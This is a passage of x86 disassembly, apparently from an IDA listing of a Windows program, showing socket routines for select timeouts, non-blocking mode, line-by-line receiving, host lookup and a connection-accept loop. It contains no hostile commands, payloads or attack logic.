mov dl, [esp+128h+arg_8]
pop edi
mov [esi+80Dh], dl
mov al, 1
pop esi
add esp, 120h
retn 0Ch
sub_41A6D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A860 proc near ; CODE XREF: sub_4020EAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax]
mov [ecx+806h], edx
mov edx, [eax]
cmp edx, 0FFFFFFFFh
setnz al
mov [ecx+80Bh], al
retn 4
sub_41A860 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A890 proc near ; CODE XREF: sub_401960j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 0
push edx
push eax
call sub_401B3B
retn 0Ch
sub_41A890 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A8C0 proc near ; CODE XREF: sub_401B3Bj
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 210h
push ebx
push ebp
push esi
mov esi, ecx
push edi
cmp dword ptr [esi+806h], 0FFFFFFFFh
jz loc_41AA24
mov al, [esi+80Bh]
test al, al
jz loc_41AA24
mov edi, dword_50F8A4
call edi ; dword_50F8A4
mov ebp, eax
mov al, [esi+80Dh]
test al, al
jnz loc_41A9BC
mov ebx, [esp+220h+arg_8]
test ebx, ebx
jz loc_41A9BC
call sub_40195B
test al, al
jz loc_41A9BC
loc_41A91B: ; CODE XREF: sub_41A8C0+F6j
mov eax, [esi+806h]
mov ecx, 1
mov [esp+220h+var_100], eax
mov [esp+220h+var_104], ecx
mov [esp+220h+var_204], eax
mov [esp+220h+var_208], ecx
mov [esp+220h+var_210], 0
mov [esp+220h+var_20C], 64h
call edi ; dword_50F8A4
sub eax, ebp
cmp eax, ebx
ja loc_41AA24
lea eax, [esp+220h+var_210]
lea ecx, [esp+220h+var_208]
push eax
mov eax, [esi+806h]
push ecx
lea edx, [esp+228h+var_104]
push 0
inc eax
push edx
push eax
call near ptr 71AB2DC0h
nop
test eax, eax
jz short loc_41A9AF
mov edx, [esi+806h]
lea ecx, [esp+220h+var_208]
push ecx
push edx
call sub_436F60
test eax, eax
jnz loc_41AA24
mov ecx, [esi+806h]
lea eax, [esp+220h+var_104]
push eax
push ecx
call sub_436F60
test eax, eax
jnz short loc_41A9BC
loc_41A9AF: ; CODE XREF: sub_41A8C0+BCj
call sub_40195B
test al, al
jnz loc_41A91B
loc_41A9BC: ; CODE XREF: sub_41A8C0+39j
; sub_41A8C0+48j ...
call sub_40195B
test al, al
jz short loc_41AA24
mov edx, [esp+220h+arg_4]
mov eax, [esp+220h+arg_0]
mov ecx, [esi+806h]
push 0
push edx
push eax
push ecx
call near ptr 71AB615Ah
nop
mov ecx, [esp+220h+arg_C]
test ecx, ecx
jz short loc_41A9F1
mov [ecx], eax
loc_41A9F1: ; CODE XREF: sub_41A8C0+12Dj
cmp eax, 0FFFFFFFFh
jz short loc_41AA09
test eax, eax
jz short loc_41AA09
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AA09: ; CODE XREF: sub_41A8C0+134j
; sub_41A8C0+138j
nop
call near ptr 71AB94DCh
pop edi
cmp eax, 2733h
pop esi
pop ebp
setz al
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AA24: ; CODE XREF: sub_41A8C0+13j
; sub_41A8C0+21j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 210h
retn 10h
sub_41A8C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AAA0: ; CODE XREF: ___:00401618j
mov eax, [ecx+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41AAF1
mov dl, [ecx+80Bh]
test dl, dl
jz short loc_41AAF1
mov ecx, [esp+8]
mov edx, [esp+4]
push 0
push ecx
push edx
push eax
nop
call near ptr 71AB428Ah
mov ecx, [esp+0Ch]
test ecx, ecx
jz short loc_41AAD2
mov [ecx], eax
loc_41AAD2: ; CODE XREF: ___:0041AACEj
cmp eax, 0FFFFFFFFh
jz short loc_41AAE0
test eax, eax
jz short loc_41AAE0
mov al, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_41AAE0: ; CODE XREF: ___:0041AAD5j
; ___:0041AAD9j
call near ptr 71AB94DCh
nop
cmp eax, 2733h
setz al
retn 0Ch
; ---------------------------------------------------------------------------
loc_41AAF1: ; CODE XREF: ___:0041AAA9j
; ___:0041AAB3j
xor al, al
retn 0Ch
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AB20: ; CODE XREF: ___:004019B0j
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40195B
test al, al
jnz short loc_41AB3C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AB3C: ; CODE XREF: ___:0041AB32j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AB52
loc_41AB48: ; CODE XREF: ___:0041AB8Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AB52: ; CODE XREF: ___:0041AB46j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41ABB6
mov edi, ebp
loc_41AB6B: ; CODE XREF: ___:0041ABB4j
cmp edi, ebx
jz short loc_41ABB6
cmp [esp+18h], bl
jz short loc_41ABB6
call sub_40195B
test al, al
jz short loc_41ABB6
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_401960
test al, al
jz short loc_41AB48
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41ABA1
cmp al, 0Dh
jz short loc_41ABA1
cmp al, bl
jnz short loc_41ABA9
loc_41ABA1: ; CODE XREF: ___:0041AB97j
; ___:0041AB9Bj
mov [esi+ebp-1], bl
mov [esp+18h], bl
loc_41ABA9: ; CODE XREF: ___:0041AB9Fj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AB6B
loc_41ABB6: ; CODE XREF: ___:0041AB67j
; ___:0041AB6Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AC00: ; CODE XREF: ___:00402180j
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40195B
test al, al
jnz short loc_41AC1C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC1C: ; CODE XREF: ___:0041AC12j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AC32
loc_41AC28: ; CODE XREF: ___:0041AC6Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC32: ; CODE XREF: ___:0041AC26j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41AC9D
mov edi, ebp
loc_41AC4B: ; CODE XREF: ___:0041AC9Bj
cmp edi, ebx
jz short loc_41AC9D
cmp [esp+18h], bl
jz short loc_41AC9D
call sub_40195B
test al, al
jz short loc_41AC9D
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_401960
test al, al
jz short loc_41AC28
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41AC7D
cmp al, bl
jnz short loc_41AC90
loc_41AC7D: ; CODE XREF: ___:0041AC77j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41AC8A
mov [esi+ebp-1], bl
jmp short loc_41AC8C
; ---------------------------------------------------------------------------
loc_41AC8A: ; CODE XREF: ___:0041AC82j
mov [edi], bl
loc_41AC8C: ; CODE XREF: ___:0041AC88j
mov [esp+18h], bl
loc_41AC90: ; CODE XREF: ___:0041AC7Bj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AC4B
loc_41AC9D: ; CODE XREF: ___:0041AC47j
; ___:0041AC4Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41ACE0: ; CODE XREF: ___:00401082j
push esi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41ACF2
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41ACF2: ; CODE XREF: ___:0041ACEAj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AD03
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AD03: ; CODE XREF: ___:0041ACFBj
mov ecx, [esp+0Ch]
mov edx, [esp+8]
push ecx
push edx
push eax
call near ptr 71AB951Eh
nop
pop esi
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AD30 proc near ; CODE XREF: sub_401893j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41AD42
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AD42: ; CODE XREF: sub_41AD30+Aj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AD53
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AD53: ; CODE XREF: sub_41AD30+1Bj
mov ecx, [esp+4+arg_4]
mov edx, [esp+4+arg_0]
push ecx
push edx
push eax
nop
call near ptr 71AC0B50h
pop esi
retn 8
sub_41AD30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AD80: ; CODE XREF: ___:00401C3Fj
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
mov al, [esi+80Ch]
cmp al, cl
mov eax, [esi+806h]
jnz short loc_41ADBF
cmp eax, 0FFFFFFFFh
jz short loc_41ADB5
cmp [esi+80Bh], cl
jz short loc_41ADB5
mov eax, 1
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41ADB5: ; CODE XREF: ___:0041AD9Ej
; ___:0041ADA6j
xor eax, eax
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41ADBF: ; CODE XREF: ___:0041AD99j
lea edx, [esp+4]
mov [esp+10h], eax
push edx
lea edx, [esp+10h]
push ecx
push edx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call near ptr 71AB2DC0h
nop
test eax, eax
jnz short loc_41ADF5
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41ADF5: ; CODE XREF: ___:0041ADE9j
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_436F60
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AE50: ; CODE XREF: ___:004016E5j
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
cmp [esi+80Ch], cl
jnz short loc_41AE6D
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AE6D: ; CODE XREF: ___:0041AE61j
mov eax, [esi+806h]
lea edx, [esp+4]
push edx
lea edx, [esp+10h]
mov [esp+14h], eax
push edx
push ecx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
nop
call near ptr 71AB2DC0h
test eax, eax
jnz short loc_41AEA9
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AEA9: ; CODE XREF: ___:0041AE9Dj
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_436F60
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AEF0: ; CODE XREF: ___:0040173Aj
push esi
mov esi, [esp+8]
push edi
mov edi, ecx
push 800h
lea edx, [esi+6]
mov ax, [edi+4]
lea ecx, [edi+6]
push ecx
push edx
mov [esi+4], ax
nop
call near ptr 77C47A90h
xor al, al
add esp, 0Ch
mov dword ptr [esi+806h], 0FFFFFFFFh
mov [esi+80Ch], al
mov [esi+80Bh], al
mov al, [edi+80Dh]
mov [esi+80Dh], al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AF60 proc near ; CODE XREF: sub_4018BBj
arg_0 = dword ptr 4
mov al, byte ptr [esp+arg_0]
test al, al
mov [ecx+80Ch], al
jz short loc_41AF90
mov ecx, [ecx+806h]
lea eax, [esp+arg_0]
push eax
push 8004667Eh
push ecx
mov [esp+0Ch+arg_0], 1
nop
call near ptr 71AB4519h
retn 4
; ---------------------------------------------------------------------------
loc_41AF90: ; CODE XREF: sub_41AF60+Cj
mov eax, [ecx+806h]
lea edx, [esp+arg_0]
push edx
push 8004667Eh
push eax
mov [esp+0Ch+arg_0], 0
nop
call near ptr 71AB4519h
retn 4
sub_41AF60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AFE0 proc near ; CODE XREF: sub_401186j
push esi
mov esi, ecx
push 0
lea ecx, [esi+4]
call sub_401C35
mov dword ptr [esi], offset off_43E0C0
mov eax, esi
pop esi
retn
sub_41AFE0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B010 proc near ; CODE XREF: ___:00401915j sub_401E74j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40186B
test [esp+4+arg_0], 1
jz short loc_41B028
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B028: ; CODE XREF: sub_41B010+Dj
mov eax, esi
pop esi
retn 4
sub_41B010 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B040 proc near ; CODE XREF: sub_40186Bj
mov dword ptr [ecx], offset off_43E0C0
add ecx, 4
jmp sub_401FC8
sub_41B040 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B060 proc near ; CODE XREF: sub_401636j
arg_0 = dword ptr 4
push esi
push edi
call sub_40195B
test al, al
jnz short loc_41B072
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B072: ; CODE XREF: sub_41B060+9j
mov esi, [esp+8+arg_0]
push esi
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_41B0C5
push esi
nop
call near ptr 71AB4FD4h
mov edi, eax
test edi, edi
jnz short loc_41B097
pop edi
or eax, 0FFFFFFFFh
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B097: ; CODE XREF: sub_41B060+2Dj
mov eax, [edi+0Ch]
xor esi, esi
cmp dword ptr [eax], 0
jz short loc_41B0AC
loc_41B0A1: ; CODE XREF: sub_41B060+4Aj
mov ecx, [eax+4]
add eax, 4
inc esi
test ecx, ecx
jnz short loc_41B0A1
loc_41B0AC: ; CODE XREF: sub_41B060+3Fj
call sub_401EEC
dec esi
push esi
push 0
call sub_4021A3
; ---------------------------------------------------------------------------
mov ecx, [edi+0Ch]
add esp, 8
mov edx, [ecx+eax*4]
mov eax, [edx]
loc_41B0C5: ; CODE XREF: sub_41B060+20j
pop edi
pop esi
retn 4
sub_41B060 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B0F0: ; CODE XREF: ___:00402095j
push 0FFFFFFFFh
push offset loc_43AD07
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push esi
xor ebx, ebx
push edi
mov [esp+0Ch], ebx
call sub_40195B
test al, al
jnz short loc_41B12F
mov eax, [esp+58h]
mov esi, [esp+54h]
push eax
mov ecx, esi
call sub_401861
jmp loc_41B2DB
; ---------------------------------------------------------------------------
loc_41B12F: ; CODE XREF: ___:0041B118j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+30h]
call sub_401861
mov edi, 1
lea ecx, [esp+2Ch]
mov [esp+4Ch], edi
call sub_4017E4
test eax, eax
push offset byte_446F70
jnz short loc_41B16C
mov esi, [esp+58h]
mov ecx, esi
call sub_401861
mov [esp+0Ch], edi
jmp loc_41B2CE
; ---------------------------------------------------------------------------
loc_41B16C: ; CODE XREF: ___:0041B156j
lea ecx, [esp+30h]
call sub_4012EE
test eax, eax
push offset byte_446F70
jnz short loc_41B192
mov esi, [esp+58h]
mov ecx, esi
call sub_401861
mov [esp+0Ch], edi
jmp loc_41B2CE
; ---------------------------------------------------------------------------
loc_41B192: ; CODE XREF: ___:0041B17Cj
lea ecx, [esp+18h]
call sub_401861
lea edx, [esp+10h]
push ebx
push edx
push ebx
push ebx
push 0Fh
lea ecx, [esp+40h]
mov byte ptr [esp+60h], 2
call sub_4017E4
push eax
call sub_436FC6
; ---------------------------------------------------------------------------
cmp eax, ebx
jz short loc_41B1D6
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014C9
mov [esp+0Ch], edi
jmp loc_41B2C0
; ---------------------------------------------------------------------------
loc_41B1D6: ; CODE XREF: ___:0041B1BBj
mov edi, [esp+10h]
mov esi, offset dword_443DD4
mov ecx, [edi]
mov eax, [ecx+4]
loc_41B1E4: ; CODE XREF: ___:0041B202j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B208
cmp cl, bl
jz short loc_41B204
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B208
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B1E4
loc_41B204: ; CODE XREF: ___:0041B1EEj
xor eax, eax
jmp short loc_41B20D
; ---------------------------------------------------------------------------
loc_41B208: ; CODE XREF: ___:0041B1EAj
; ___:0041B1F8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B20D: ; CODE XREF: ___:0041B206j
cmp eax, ebx
jz short loc_41B27B
push ebp
loc_41B212: ; CODE XREF: ___:0041B265j
; ___:0041B269j
call near ptr 27F08B4h
nop
and eax, 0Fh
cmp al, 8
jnz short loc_41B226
cmp word ptr [edi+8], 0Fh
jz short loc_41B26B
loc_41B226: ; CODE XREF: ___:0041B21Dj
mov edi, [edi]
mov ebp, [esp+14h]
cmp edi, ebx
jnz short loc_41B232
mov edi, ebp
loc_41B232: ; CODE XREF: ___:0041B22Ej
mov eax, [edi+4]
mov esi, offset dword_443DD4
loc_41B23A: ; CODE XREF: ___:0041B258j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B25E
cmp cl, bl
jz short loc_41B25A
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B25E
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B23A
loc_41B25A: ; CODE XREF: ___:0041B244j
xor eax, eax
jmp short loc_41B263
; ---------------------------------------------------------------------------
loc_41B25E: ; CODE XREF: ___:0041B240j
; ___:0041B24Ej
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B263: ; CODE XREF: ___:0041B25Cj
cmp eax, ebx
jnz short loc_41B212
mov edi, ebp
jmp short loc_41B212
; ---------------------------------------------------------------------------
loc_41B26B: ; CODE XREF: ___:0041B224j
mov eax, [edi+18h]
lea ecx, [esp+18h]
push eax
call sub_4015D7
pop ebp
jmp short loc_41B288
; ---------------------------------------------------------------------------
loc_41B27B: ; CODE XREF: ___:0041B20Fj
mov ecx, [edi+18h]
push ecx
lea ecx, [esp+18h]
call sub_4015D7
loc_41B288: ; CODE XREF: ___:0041B279j
push offset byte_446F70
lea ecx, [esp+18h]
call sub_4012EE
test eax, eax
jnz short loc_41B2A8
mov edx, [esp+58h]
lea ecx, [esp+14h]
push edx
call sub_4015D7
loc_41B2A8: ; CODE XREF: ___:0041B298j
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014C9
mov dword ptr [esp+0Ch], 1
loc_41B2C0: ; CODE XREF: ___:0041B1D1j
lea ecx, [esp+14h]
mov byte ptr [esp+4Ch], 1
call sub_401226
loc_41B2CE: ; CODE XREF: ___:0041B167j
; ___:0041B18Dj
lea ecx, [esp+2Ch]
mov [esp+4Ch], bl
call sub_401226
loc_41B2DB: ; CODE XREF: ___:0041B12Aj
mov ecx, [esp+44h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 8
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B390: ; CODE XREF: ___:00402135j
push esi
mov esi, ecx
call sub_401E6A
push 0
lea ecx, [esi+15h]
call sub_401C35
mov dword ptr [esi], offset off_43E0C4
mov dword ptr [esi+11h], 0
mov dword ptr [esi+823h], 0
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B3D0 proc near ; CODE XREF: sub_4013FCj ___:00402018j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BCC
test [esp+4+arg_0], 1
jz short loc_41B3E8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B3E8: ; CODE XREF: sub_41B3D0+Dj
mov eax, esi
pop esi
retn 4
sub_41B3D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B400 proc near ; CODE XREF: sub_401BCCj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41B400
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401FC8
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41B400 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B470: ; CODE XREF: ___:00401D3Ej
push esi
mov esi, ecx
call sub_401E6A
push 0
lea ecx, [esi+15h]
call sub_401C35
mov eax, [esp+8]
mov ecx, [esp+0Ch]
mov [esi+11h], eax
mov dword ptr [esi], offset off_43E0C4
mov [esi+823h], ecx
mov eax, esi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B4B0 proc near ; CODE XREF: sub_40167Cj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 14h
push edi
mov edi, ecx
mov eax, [edi+11h]
test eax, eax
jz loc_41B5C0
mov ecx, [edi+823h]
test ecx, ecx
jz loc_41B5C0
push ebx
push ebp
lea ebx, [edi+15h]
push esi
push eax
mov ecx, ebx
xor esi, esi
call sub_401488
mov ebp, dword_50F8D0
test al, al
jnz short loc_41B513
loc_41B4E9: ; CODE XREF: sub_41B4B0+61j
mov al, [edi+10h]
test al, al
jz loc_41B5AF
mov al, byte_4E6E84
test al, al
jz short loc_41B513
push 7D0h
call ebp ; dword_50F8D0
mov eax, [edi+11h]
mov ecx, ebx
push eax
call sub_401488
test al, al
jz short loc_41B4E9
loc_41B513: ; CODE XREF: sub_41B4B0+37j
; sub_41B4B0+4Bj
mov al, [edi+10h]
test al, al
jz loc_41B5AF
loc_41B51E: ; CODE XREF: sub_41B4B0+F9j
mov al, byte_4E6E84
test al, al
jz loc_41B5AF
test esi, esi
jnz short loc_41B54E
push 80Eh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_41B54A
push esi
mov ecx, eax
call sub_401C35
jmp short loc_41B54C
; ---------------------------------------------------------------------------
loc_41B54A: ; CODE XREF: sub_41B4B0+8Ej
xor eax, eax
loc_41B54C: ; CODE XREF: sub_41B4B0+98j
mov esi, eax
loc_41B54E: ; CODE XREF: sub_41B4B0+7Dj
push 0
push 0
push esi
mov ecx, ebx
call sub_401B81
test al, al
jnz short loc_41B567
push 7D0h
call ebp ; dword_50F8D0
jmp short loc_41B5A4
; ---------------------------------------------------------------------------
loc_41B567: ; CODE XREF: sub_41B4B0+ACj
xor ecx, ecx
lea edx, [esp+24h+var_14]
mov [esp+24h+var_10], ecx
lea eax, [esp+24h+var_10]
mov [esp+24h+var_C], ecx
push edx
mov [esp+28h+var_8], ecx
push eax
mov [esp+2Ch+var_4], ecx
mov ecx, esi
mov [esp+2Ch+var_14], 10h
call sub_401893
mov al, byte ptr [esp+24h+var_C]
test al, al
jz short loc_41B5A4
push esi
call dword ptr [edi+823h]
add esp, 4
loc_41B5A4: ; CODE XREF: sub_41B4B0+B5j
; sub_41B4B0+E8j
mov al, [edi+10h]
test al, al
jnz loc_41B51E
loc_41B5AF: ; CODE XREF: sub_41B4B0+3Ej
; sub_41B4B0+68j ...
mov ecx, ebx
call sub_4014DD
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41B5C0: ; CODE XREF: sub_41B4B0+Bj
; sub_41B4B0+19j
xor eax, eax
pop edi
add esp, 14h
retn
sub_41B4B0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B620: ; CODE XREF: ___:00401C21j
mov eax, [esp+0Ch]
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
xor ebx, ebx
xor edi, edi
dec eax
mov [ebp+0], bl
cmp eax, ebx
mov byte ptr [esp+18h], 1
jle short loc_41B695
mov esi, ebp
loc_41B63F: ; CODE XREF: ___:0041B693j
cmp esi, ebx
jz short loc_41B695
cmp [esp+18h], bl
jz short loc_41B695
mov ecx, [esp+14h]
push ebx
push 1
push esi
push ecx
call near ptr 71AB615Ah
nop
cmp eax, ebx
jz short loc_41B6A4
cmp eax, 0FFFFFFFFh
jz short loc_41B6A4
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_41B69D
mov [edi+ebp+1], bl
mov al, [esi]
cmp al, 0Ah
jz short loc_41B680
cmp al, 0Dh
jz short loc_41B680
cmp al, bl
jnz short loc_41B688
loc_41B680: ; CODE XREF: ___:0041B676j
; ___:0041B67Aj
mov [edi+ebp-1], bl
mov [esp+18h], bl
loc_41B688: ; CODE XREF: ___:0041B67Ej
mov edx, [esp+1Ch]
inc edi
inc esi
lea eax, [edx-1]
cmp edi, eax
jl short loc_41B63F
loc_41B695: ; CODE XREF: ___:0041B63Bj
; ___:0041B641j ...
mov eax, [esp+1Ch]
mov [eax+ebp-1], bl
loc_41B69D: ; CODE XREF: ___:0041B66Cj
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B6A4: ; CODE XREF: ___:0041B65Aj
; ___:0041B65Fj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B6E0 proc near ; CODE XREF: sub_401280j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
xor ebx, ebx
xor esi, esi
dec eax
cmp eax, ebx
push edi
mov [ebp+0], bl
mov byte ptr [esp+10h+arg_4], 1
jle short loc_41B74A
mov edi, ebp
loc_41B6FF: ; CODE XREF: sub_41B6E0+68j
cmp edi, ebx
jz short loc_41B74A
cmp byte ptr [esp+10h+arg_4], bl
jz short loc_41B74A
mov ecx, [esp+10h+arg_0]
push ebx
push 1
push edi
push ecx
call near ptr 71AB615Ah
nop
test eax, eax
jz short loc_41B759
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41B72A
cmp al, bl
jnz short loc_41B73D
